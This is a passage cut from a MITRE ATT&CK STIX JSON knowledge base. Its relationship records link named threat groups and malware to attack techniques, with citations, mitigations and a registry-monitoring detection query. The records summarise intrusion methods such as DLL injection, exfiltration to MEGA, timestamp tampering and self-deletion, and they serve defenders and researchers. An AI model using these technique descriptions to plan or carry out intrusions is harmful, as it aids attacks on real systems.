Recon)","modified":"2022-04-13T14:22:05.443Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","relationship_type":"uses","source_ref":"tool--2c5281dd-b5fd-4531-8aea-c1bf8a0f8756","target_ref":"attack-pattern--69f897fd-12a9-4c89-ad6a-46d2f3c38262","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--a4409632-996c-4f20-bdb0-a8e92c98307f","type":"relationship","created":"2019-04-15T20:57:46.671Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"ESET OceanLotus macOS April 2019","url":"https://www.welivesecurity.com/2019/04/09/oceanlotus-macos-malware-update/","description":"Dumont, R.. (2019, April 9). OceanLotus: macOS malware update. Retrieved April 15, 2019."}],"modified":"2020-03-17T15:10:11.093Z","description":"[APT32](https://attack.mitre.org/groups/G0050)'s macOS backdoor changes the permission of the file it wants to execute to 755.(Citation: ESET OceanLotus macOS April 2019)","relationship_type":"uses","source_ref":"intrusion-set--247cb30b-955f-42eb-97a5-a89fef69341e","target_ref":"attack-pattern--09b130a2-a77e-4af0-a361-f46f9aad1345","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--a442fcac-55d7-49ff-8ecf-ca61885c27e2","type":"relationship","created":"2017-05-31T21:33:27.059Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"url":"http://cdn0.vox-cdn.com/assets/4589853/crowdstrike-intelligence-report-putter-panda.original.pdf","description":"Crowdstrike Global Intelligence Team. (2014, June 9). CrowdStrike Intelligence Report: Putter Panda. Retrieved January 22, 2016.","source_name":"CrowdStrike Putter Panda"}],"modified":"2020-03-16T19:24:01.195Z","description":"An executable dropped onto victims by [Putter Panda](https://attack.mitre.org/groups/G0024) aims to inject the specified DLL into a process that would normally be accessing the network, including Outlook Express (msinm.exe), Outlook (outlook.exe), Internet Explorer (iexplore.exe), and Firefox (firefox.exe).(Citation: CrowdStrike Putter Panda)","relationship_type":"uses","source_ref":"intrusion-set--5ce5392a-3a6c-4e07-9df3-9b6a9159ac45","target_ref":"attack-pattern--f4599aa0-4f85-4a32-80ea-fc39dc965945","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--a446142d-dd7a-428a-9a4b-5023bf637e52","created":"2022-03-30T14:26:51.857Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-10-09T15:32:04.885Z","description":"Monitor for newly constructed registry keys or values to aid in persistence and execution. Detection of creation of registry key `HKEY_LOCAL_MACHINE\\System\\CurrentControlSet\\Control\\Session Manager\\SafeDllSearchMode`. The key SafeDllSearchMode, if set to 0, will block the Windows mechanism for the search DLL order and adversaries may execute their own malicious dll.\n\nAnalytic 1 - Registry Edit with Creation of SafeDllSearchMode Key Set to 0\n\n((source=\"*WinEventLog:Security\" EventCode=\"4657\")(ObjectValueName=\"SafeDllSearchMode\" value=\"0\")) OR \n((source=\"*WinEventLog:Microsoft-Windows-Sysmon/Operational\" EventCode=\"13\") EventType=\"SetValue\" TargetObject=\"*SafeDllSearchMode\" Details=\"DWORD (0x00000000)\")))","relationship_type":"detects","source_ref":"x-mitre-data-component--7f70fae7-a68d-4730-a83a-f260b9606129","target_ref":"attack-pattern--57340c81-c025-4189-8fa0-fc7ede51bae4","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--a44728b1-9cb4-4307-8c4c-37b5acba536e","type":"relationship","created":"2020-02-05T14:17:47.180Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2022-03-11T16:45:37.218Z","description":"Employ heuristic-based malware detection. Ensure updated virus definitions and create custom signatures for observed malware. ","relationship_type":"mitigates","source_ref":"course-of-action--a6a47a06-08fc-4ec4-bdc3-20373375ebb9","target_ref":"attack-pattern--deb98323-e13f-4b0c-8d94-175379069062","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--a44ba3c3-406a-49cf-9d7b-9ee7f09f9ae4","created":"2022-09-09T16:17:21.601Z","revoked":false,"external_references":[{"source_name":"TrendMicro EarthLusca 2022","description":"Chen, J., et al. (2022). Delving Deep: An Analysis of Earth Lusca’s Operations. Retrieved July 1, 2022.","url":"https://www.trendmicro.com/content/dam/trendmicro/global/en/research/22/a/earth-lusca-employs-sophisticated-infrastructure-varied-tools-and-techniques/technical-brief-delving-deep-an-analysis-of-earth-lusca-operations.pdf"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2022-09-09T16:17:21.601Z","description":"[Earth Lusca](https://attack.mitre.org/groups/G1006) has used the megacmd tool to upload stolen files from a victim network to MEGA.(Citation: TrendMicro EarthLusca 2022)","relationship_type":"uses","source_ref":"intrusion-set--cc613a49-9bfa-4e22-98d1-15ffbb03f034","target_ref":"attack-pattern--bf1b6176-597c-4600-bfcd-ac989670f96b","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"2.1.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--a45378ad-7f38-47d3-87e1-a3133b29b89b","type":"relationship","created":"2020-03-13T20:20:53.831Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2022-03-25T15:59:09.299Z","description":"If the computer is domain joined, then group policy can help restrict the ability to create or hide users. Similarly, preventing the modification of the /Library/Preferences/com.apple.loginwindow Hide500Users value will force all users to be visible.","relationship_type":"mitigates","source_ref":"course-of-action--2f316f6c-ae42-44fe-adf8-150989e0f6d3","target_ref":"attack-pattern--8c4aef43-48d5-49aa-b2af-c0cd58d30c3d","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--a454aae7-c327-4df5-af79-1191f8128f4e","created":"2024-10-08T13:28:05.146Z","revoked":false,"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-10-08T13:28:05.146Z","description":"Provide user training on secure practices for managing credentials, including avoiding storing sensitive passwords in browsers and using password managers securely. Users should also be educated on identifying phishing attempts that could steal session cookies or credentials.","relationship_type":"mitigates","source_ref":"course-of-action--2a4f6c11-a4a7-4cb9-b0ef-6ae1bb3a718a","target_ref":"attack-pattern--58a3e6aa-4453-4cc8-a51f-4befe80b31a8","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--a455cf4b-2402-4b72-a5e8-e5f5ed6d2bfc","type":"relationship","created":"2022-01-26T21:51:21.573Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Talos Bisonal Mar 2020","url":"https://blog.talosintelligence.com/2020/03/bisonal-10-years-of-play.html","description":"Mercer, W., et al. (2020, March 5). Bisonal: 10 years of play. Retrieved January 26, 2022."}],"modified":"2022-01-26T21:51:21.573Z","description":"[Bisonal](https://attack.mitre.org/software/S0268) has used the RegQueryValueExA function to retrieve proxy information in the Registry.(Citation: Talos Bisonal Mar 2020)","relationship_type":"uses","source_ref":"malware--65ffc206-d7c1-45b3-b543-f6b726e7840d","target_ref":"attack-pattern--c32f7008-9fea-41f7-8366-5eb9b74bd896","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--a45bd763-a162-4b02-86f2-6042ff0eaa4a","type":"relationship","created":"2021-04-16T19:04:13.573Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Symantec RAINDROP January 2021","url":"https://symantec-enterprise-blogs.security.com/blogs/threat-intelligence/solarwinds-raindrop-malware","description":"Symantec Threat Hunter Team. (2021, January 18). Raindrop: New Malware Discovered in SolarWinds Investigation. Retrieved January 19, 2021."},{"source_name":"MSTIC Nobelium Toolset May 2021","url":"https://www.microsoft.com/security/blog/2021/05/28/breaking-down-nobeliums-latest-early-stage-toolset/","description":"MSTIC. (2021, May 28). Breaking down NOBELIUM’s latest early-stage toolset. Retrieved August 4, 2021."},{"source_name":"Secureworks IRON RITUAL Profile","url":"https://www.secureworks.com/research/threat-profiles/iron-ritual","description":"Secureworks CTU. (n.d.). IRON RITUAL. Retrieved February 24, 2022."}],"modified":"2022-02-24T20:32:44.495Z","description":"(Citation: Symantec RAINDROP January 2021)(Citation: MSTIC Nobelium Toolset May 2021)(Citation: Secureworks IRON RITUAL Profile)","relationship_type":"uses","source_ref":"intrusion-set--899ce53f-13a0-479b-a0e4-67d46e241542","target_ref":"malware--4efc3e00-72f2-466a-ab7c-8a7dc6603b19","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--a45f37c0-da3f-4766-bdb2-4cc1f4bda04d","type":"relationship","created":"2017-12-14T16:46:06.044Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"CrowdStrike Putter Panda","description":"Crowdstrike Global Intelligence Team. (2014, June 9). CrowdStrike Intelligence Report: Putter Panda. Retrieved January 22, 2016.","url":"http://cdn0.vox-cdn.com/assets/4589853/crowdstrike-intelligence-report-putter-panda.original.pdf"}],"modified":"2020-03-17T01:34:10.818Z","description":"[httpclient](https://attack.mitre.org/software/S0068) uses HTTP for command and control.(Citation: CrowdStrike Putter Panda)","relationship_type":"uses","source_ref":"malware--e8268361-a599-4e45-bd3f-71c8c7e700c0","target_ref":"attack-pattern--df8b2a25-8bdf-4856-953c-a04372b1c161","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--a460c0d7-bbab-48c0-b9ae-a9f761ece70d","type":"relationship","created":"2022-03-30T14:26:51.841Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2022-03-30T14:26:51.841Z","description":"Monitor for network traffic originating from unknown/unexpected hardware devices.","source_ref":"x-mitre-data-component--a7f22107-02e5-4982-9067-6625d4a1765a","target_ref":"attack-pattern--ac9e6b22-11bf-45d7-9181-c1cb08360931","relationship_type":"detects","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--a4651714-378a-4f7c-b4b3-4c32e3b40db1","created":"2022-03-30T14:26:51.869Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-09-10T14:40:10.472Z","description":"Monitor shared module loading, focusing on .dll, .so, and .dylib files, and look for suspicious paths or abnormal module loads that deviate from system norms.\n\n Limiting module loads to trusted directories, such as %SystemRoot% and %ProgramFiles% on Windows, may protect against module loads from unsafe paths.","relationship_type":"detects","source_ref":"x-mitre-data-component--c0a4a086-cc20-4e1e-b7cb-29d99dfa3fb1","target_ref":"attack-pattern--0a5231ec-41af-4a35-83d0-6bdf11f28c65","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--a4676ad1-f8d2-43f0-a342-8d5d01bff9cf","created":"2024-03-01T18:59:55.331Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"Leonard TAG 2023","description":"Billy Leonard. (2023, April 19). Ukraine remains Russia’s biggest cyber focus in 2023. Retrieved March 1, 2024.","url":"https://blog.google/threat-analysis-group/ukraine-remains-russias-biggest-cyber-focus-in-2023/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-04-12T11:08:03.233Z","description":"[Sandworm Team](https://attack.mitre.org/groups/G0034) used various third-party email campaign management services to deliver phishing emails.(Citation: Leonard TAG 2023)","relationship_type":"uses","source_ref":"intrusion-set--381fcf73-60f6-4ab2-9991-6af3cbc35192","target_ref":"attack-pattern--0458aab9-ad42-4eac-9e22-706a95bafee2","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--a468fd3d-b1a8-4d1f-b19b-8073a80a0041","type":"relationship","created":"2020-10-20T00:06:56.288Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2020-10-20T00:06:56.288Z","relationship_type":"subtechnique-of","source_ref":"attack-pattern--28abec6c-4443-4b03-8206-07f2e264a6b4","target_ref":"attack-pattern--7f0ca133-88c4-40c6-a62f-b3083a7fbc2e","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--a4730261-b1b2-45ba-8874-b2edcdd13a75","created":"2022-09-30T19:37:25.330Z","revoked":false,"external_references":[{"source_name":"FireEye SMOKEDHAM June 2021","description":"FireEye. (2021, June 16). Smoking Out a DARKSIDE Affiliate’s Supply Chain Software Compromise. Retrieved September 22, 2021.","url":"https://www.fireeye.com/blog/threat-research/2021/06/darkside-affiliate-supply-chain-software-compromise.html"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2022-09-30T19:37:25.330Z","description":"The [SMOKEDHAM](https://attack.mitre.org/software/S0649) source code is embedded in the dropper as an encrypted string.(Citation: FireEye SMOKEDHAM June 2021)","relationship_type":"uses","source_ref":"malware--7e0f8b0f-716e-494d-827e-310bd6ed709e","target_ref":"attack-pattern--0533ab23-3f7d-463f-9bd8-634d27e4dee1","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"2.1.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"type":"relationship","id":"relationship--a4768f99-0f62-431f-b5df-f8bb4146a0fd","created":"2022-03-30T14:26:51.872Z","x_mitre_version":"0.1","x_mitre_deprecated":false,"revoked":false,"description":"Monitor for API calls that may gather the system time and/or time zone from a local or remote system. Remote access tools with built-in features may interact directly with the Windows API to gather information.","modified":"2022-04-20T13:08:24.117Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","relationship_type":"detects","source_ref":"x-mitre-data-component--9bde2f9d-a695-4344-bfac-f2dce13d121e","target_ref":"attack-pattern--f3c544dc-673c-4ef3-accb-53229f1ae077","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"type":"relationship","id":"relationship--a483131c-b3b5-4682-aafc-2761d75e2168","created":"2022-05-05T18:08:24.047Z","x_mitre_version":"0.1","external_references":[{"source_name":"ESET Gelsemium June 2021","url":"https://www.welivesecurity.com/wp-content/uploads/2021/06/eset_gelsemium.pdf","description":"Dupuy, T. and Faou, M. (2021, June). Gelsemium. Retrieved November 30, 2021."}],"x_mitre_deprecated":false,"revoked":false,"description":"[Chrommme](https://attack.mitre.org/software/S0667) can use Windows API including `WinExec` for execution.(Citation: ESET Gelsemium June 2021)","modified":"2022-05-05T18:42:00.646Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","relationship_type":"uses","source_ref":"malware--579607c2-d046-40df-99ab-beb479c37a2a","target_ref":"attack-pattern--391d824f-0ef1-47a0-b0ee-c59a75e27670","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--a4864c51-92f3-4f59-ba75-0a2b01aee2da","created":"2024-07-02T17:42:07.437Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"ESET Turla Lunar toolset May 2024","description":"Jurčacko, F. (2024, May 15). To the Moon and back(doors): Lunar landing in diplomatic missions. Retrieved June 26, 2024.","url":"https://www.welivesecurity.com/en/eset-research/moon-backdoors-lunar-landing-diplomatic-missions/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-07-02T19:24:58.911Z","description":"[LunarMail](https://attack.mitre.org/software/S1142) can delete the previously used staging directory and files on subsequent rounds of exfiltration and replace it with a new one.(Citation: ESET Turla Lunar toolset May 2024)","relationship_type":"uses","source_ref":"malware--a5789a26-2b7b-4b2d-a25f-31182468d4bb","target_ref":"attack-pattern--d63a3fb8-9452-4e9d-a60a-54be68d5998c","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--a487371e-15c9-405a-8774-0827fea2c3a3","created":"2024-05-29T21:06:48.082Z","revoked":false,"external_references":[{"source_name":"Sophos Gootloader","description":"Szappanos, G. & Brandt, A. (2021, March 1). “Gootloader” expands its payload delivery options. Retrieved September 30, 2022.","url":"https://news.sophos.com/en-us/2021/03/01/gootloader-expands-its-payload-delivery-options/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-05-29T21:06:48.083Z","description":"\n[Gootloader](https://attack.mitre.org/software/S1138) can use its own PE loader to execute payloads in memory.(Citation: Sophos Gootloader)","relationship_type":"uses","source_ref":"malware--396c18b9-26fb-4435-8589-fb856502e4c4","target_ref":"attack-pattern--806a49c4-970d-43f9-9acc-ac0ee11e6662","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--a48829f9-c991-4122-afda-a46a82faef95","type":"relationship","created":"2021-03-01T14:07:36.808Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Proofpoint LookBack Malware Aug 2019","url":"https://www.proofpoint.com/us/threat-insight/post/lookback-malware-targets-united-states-utilities-sector-phishing-attacks","description":"Raggi, M. Schwarz, D.. (2019, August 1). LookBack Malware Targets the United States Utilities Sector with Phishing Attacks Impersonating Engineering Licensing Boards. Retrieved February 25, 2021."}],"modified":"2021-03-03T16:49:14.724Z","description":"[LookBack](https://attack.mitre.org/software/S0582) removes itself after execution and can delete files on the system.(Citation: Proofpoint LookBack Malware Aug 2019)","relationship_type":"uses","source_ref":"malware--c9ccc4df-1f56-49e7-ad57-b383e1451688","target_ref":"attack-pattern--d63a3fb8-9452-4e9d-a60a-54be68d5998c","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--a48e7d01-012a-4336-9676-0f34e8501e22","type":"relationship","created":"2017-12-14T16:46:06.044Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"FireEye FIN10 June 2017","description":"FireEye iSIGHT Intelligence. (2017, June 16). FIN10: Anatomy of a Cyber Extortion Operation. Retrieved June 25, 2017.","url":"https://www2.fireeye.com/rs/848-DID-242/images/rpt-fin10.pdf"}],"modified":"2019-04-25T12:09:56.320Z","description":"[FIN10](https://attack.mitre.org/groups/G0051) has used RDP to move laterally to systems in the victim environment.(Citation: FireEye FIN10 June 2017)","relationship_type":"uses","source_ref":"intrusion-set--fbe9387f-34e6-4828-ac28-3080020c597b","target_ref":"attack-pattern--eb062747-2193-45de-8fa2-e62549c37ddf","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--a491cb90-9480-450b-9a57-55b95b249d31","type":"relationship","created":"2019-04-01T21:09:50.383Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"description":"Dumont, R. (2019, March 20). Fake or Fake: Keeping up with OceanLotus decoys. Retrieved April 1, 2019.","url":"https://www.welivesecurity.com/2019/03/20/fake-or-fake-keeping-up-with-oceanlotus-decoys/","source_name":"ESET OceanLotus Mar 2019"}],"modified":"2019-07-17T13:11:38.970Z","description":"[APT32](https://attack.mitre.org/groups/G0050)'s backdoor has used Windows services as a way to execute its malicious payload. (Citation: ESET OceanLotus Mar 2019)","relationship_type":"uses","source_ref":"intrusion-set--247cb30b-955f-42eb-97a5-a89fef69341e","target_ref":"attack-pattern--f1951e8a-500e-4a26-8803-76d95c4554b4","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--a49b638b-c180-4239-95f8-1601bd2d5295","type":"relationship","created":"2018-10-17T00:14:20.652Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Sofacy DealersChoice","description":"Falcone, R. (2018, March 15). Sofacy Uses DealersChoice to Target European Government Agency. Retrieved June 4, 2018.","url":"https://researchcenter.paloaltonetworks.com/2018/03/unit42-sofacy-uses-dealerschoice-target-european-government-agency/"}],"modified":"2020-03-17T00:53:53.876Z","description":"[DealersChoice](https://attack.mitre.org/software/S0243) makes modifications to open-source scripts from GitHub and executes them on the victim’s machine.(Citation: Sofacy DealersChoice)","relationship_type":"uses","source_ref":"malware--8f460983-1bbb-4e7e-8094-f0b5e720f658","target_ref":"attack-pattern--d1fcf083-a721-4223-aedf-bf8960798d62","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--a49ed7b1-8160-48ae-a65f-feeb4747c522","type":"relationship","created":"2018-01-16T16:13:52.465Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"US-CERT Volgmer Nov 2017","description":"US-CERT. (2017, November 22). Alert (TA17-318B): HIDDEN COBRA – North Korean Trojan: Volgmer. Retrieved December 7, 2017.","url":"https://www.us-cert.gov/ncas/alerts/TA17-318B"}],"modified":"2020-03-21T00:40:07.061Z","description":"Some [Volgmer](https://attack.mitre.org/software/S0180) variants use SSL to encrypt C2 communications.(Citation: US-CERT Volgmer Nov 2017)","relationship_type":"uses","source_ref":"malware--495b6cdb-7b5a-4fbc-8d33-e7ef68806d08","target_ref":"attack-pattern--bf176076-b789-408e-8cba-7275e81c0ada","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"type":"relationship","id":"relationship--a49fc7fd-5af0-4a2f-a2bb-f1d153e6b66d","created":"2022-06-09T19:12:36.907Z","x_mitre_version":"0.1","external_references":[{"source_name":"Malwarebytes Saint Bot April 2021","url":"https://blog.malwarebytes.com/threat-intelligence/2021/04/a-deep-dive-into-saint-bot-downloader/","description":"Hasherezade. (2021, April 6). A deep dive into Saint Bot, a new downloader. Retrieved June 9, 2022."},{"source_name":"Palo Alto Unit 42 OutSteel SaintBot February 2022 ","url":"https://unit42.paloaltonetworks.com/ukraine-targeted-outsteel-saintbot/","description":"Unit 42. (2022, February 25). Spear Phishing Attacks Target Organizations in Ukraine, Payloads Include the Document Stealer OutSteel and the Downloader SaintBot. Retrieved June 9, 2022."}],"x_mitre_deprecated":false,"revoked":false,"description":"[Saint Bot](https://attack.mitre.org/software/S1018) has conducted system locale checks to see if the compromised host is in Russia, Ukraine, Belarus, Armenia, Kazakhstan, or Moldova.(Citation: Malwarebytes Saint Bot April 2021)(Citation: Palo Alto Unit 42 OutSteel SaintBot February 2022 )","modified":"2022-06-09T20:48:17.510Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","relationship_type":"uses","source_ref":"malware--7724581b-06ff-4d2b-b77c-80dc8d53070b","target_ref":"attack-pattern--c877e33f-1df6-40d6-b1e7-ce70f16f4979","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--a4a03850-ad3e-4599-af58-5aa67c63fb93","created":"2023-07-27T20:32:49.402Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"Mandiant FIN13 Aug 2022","description":"Ta, V., et al. (2022, August 8). FIN13: A Cybercriminal Threat Actor Focused on Mexico. Retrieved February 9, 2023.","url":"https://www.mandiant.com/resources/blog/fin13-cybercriminal-mexico"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2023-09-29T18:38:18.955Z","description":"[FIN13](https://attack.mitre.org/groups/G1016) has used `Ping` and `tracert` for network reconnaissance efforts.(Citation: Mandiant FIN13 Aug 2022)","relationship_type":"uses","source_ref":"intrusion-set--fd66436e-4d33-450e-ac4c-f7810f1c85f4","target_ref":"attack-pattern--132d5b37-aac5-4378-a8dc-3127b18a73dc","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--a4a0c78e-6f15-4304-9e40-36c09a532a05","created":"2023-03-26T16:40:18.855Z","revoked":false,"external_references":[{"source_name":"Microsoft Deep Dive Solorigate January 2021","description":"MSTIC, CDOC, 365 Defender Research Team. (2021, January 20). Deep dive into the Solorigate second-stage activation: From SUNBURST to TEARDROP and Raindrop . Retrieved January 22, 2021.","url":"https://www.microsoft.com/security/blog/2021/01/20/deep-dive-into-the-solorigate-second-stage-activation-from-sunburst-to-teardrop-and-raindrop/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2023-03-26T16:40:18.855Z","description":"During the [SolarWinds Compromise](https://attack.mitre.org/campaigns/C0024), [APT29](https://attack.mitre.org/groups/G0016) modified timestamps of backdoors to match legitimate Windows files.(Citation: Microsoft Deep Dive Solorigate January 2021)","relationship_type":"uses","source_ref":"campaign--808d6b30-df4e-4341-8248-724da4bac650","target_ref":"attack-pattern--47f2d673-ca62-47e9-929b-1b0be9657611","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.1.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--a4a49b56-e220-4a81-a0da-43b63c012cfe","type":"relationship","created":"2018-01-16T16:13:52.465Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"F-Secure CozyDuke","description":"F-Secure Labs. (2015, April 22). CozyDuke: Malware Analysis. Retrieved December 10, 